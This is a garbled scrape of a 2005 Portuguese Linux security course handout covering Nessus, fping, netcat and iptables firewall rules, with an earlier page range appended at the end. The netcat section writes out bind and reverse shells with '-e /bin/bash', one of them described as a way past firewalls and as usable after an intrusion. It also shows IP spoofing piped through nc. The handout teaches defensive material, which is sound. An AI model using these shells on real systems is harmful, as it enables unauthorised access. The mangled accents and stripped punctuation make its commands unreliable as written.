categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 24: Curso de segurança em linux e redes em geral

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf 